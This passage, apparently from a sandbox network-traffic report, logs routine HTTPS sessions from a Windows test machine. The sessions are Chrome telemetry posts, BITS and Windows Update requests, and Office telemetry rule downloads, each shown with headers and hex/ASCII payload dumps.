Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730093231791",null,null,null,
2024-10-28 05:27:14 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=nSmCVzF5ER-dgDDQx1lAy_3QoQNKzKFqfd0r5vtIBklMN5bkMidBqb8Iz1tk51kjiQA9k0h_44UA7XGVzdiKCJ3-fTyAllzL1JzKOk3ijhOaAHRxNFUQucWIXmDgrmVBfAkoiuLn6IFox5i2bNDBrLR_2XXjXNiPNBsP_-cOomq4_bbkgAM; expires=Tue, 29-Apr-2025 05:27:14 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 28 Oct 2024 05:27:14 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 28 Oct 2024 05:27:14 GMT Connection: close Transfer-Encoding: chunked
2024-10-28 05:27:14 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-28 05:27:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 05:27:15 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=199653 Date: Mon, 28 Oct 2024 05:27:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-28 05:27:16 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=199706 Date: Mon, 28 Oct 2024 05:27:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-28 05:27:16 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YNxnkol3c9ptnTY&MD=WCsLR9xX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 05:27:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 87150f8a-9eb8-42bf-8991-097598142076 MS-RequestId: 123a72d9-8406-4c38-ad09-c943ae6ffed3 MS-CV: jc2O/tiivkGlj+qE.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 05:27:16 GMT Connection: close Content-Length: 24490
2024-10-28 05:27:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-28 05:27:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	142.250.186.110	443	7892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:17 UTC	923	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=nSmCVzF5ER-dgDDQx1lAy_3QoQNKzKFqfd0r5vtIBklMN5bkMidBqb8Iz1tk51kjiQA9k0h_44UA7XGVzdiKCJ3-fTyAllzL1JzKOk3ijhOaAHRxNFUQucWIXmDgrmVBfAkoiuLn6IFox5i2bNDBrLR_2XXjXNiPNBsP_-cOomq4_bbkgAM
2024-10-28 05:27:17 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 30 39 33 32 33 34 31 33 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730093234132",null,null,null,
2024-10-28 05:27:17 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=nFZEJsqkW8wOQ1kSAvjONTYYYiEzLG39vZGQZ7R49w50q8uVBx-zWFRTAK4kV5cwLq-MwRucoKQFqQ8YeJoEbyr0Zgar-X5rYyMRzZAdH0mxA41M9f0McSo078Zwkl7ymQZtnjvS_AAaZT_WprkMFit3X2dQo9rtqpwL70tIcVtueO5r3NgAmFH7mKk; expires=Tue, 29-Apr-2025 05:27:17 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 28 Oct 2024 05:27:17 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 28 Oct 2024 05:27:17 GMT Connection: close Transfer-Encoding: chunked
2024-10-28 05:27:17 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-28 05:27:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YNxnkol3c9ptnTY&MD=WCsLR9xX HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 05:27:55 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d26c527b-3984-4bc8-ba0f-62e4eed2cdd9 MS-RequestId: b486f368-2677-41e0-a73b-595cccb459ae MS-CV: FKnHE1I02EiqLCSV.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 05:27:55 GMT Connection: close Content-Length: 30005
2024-10-28 05:27:55 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-28 05:27:55 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:27:56 UTC	540	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:56 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 17:15:22 GMT ETag: "0x8DCF5189BF6C373" x-ms-request-id: abeba80a-d01e-002b-6625-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052756Z-17c5cb586f69w69mgazyf263an00000003q0000000006uqk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:27:56 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-28 05:27:56 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
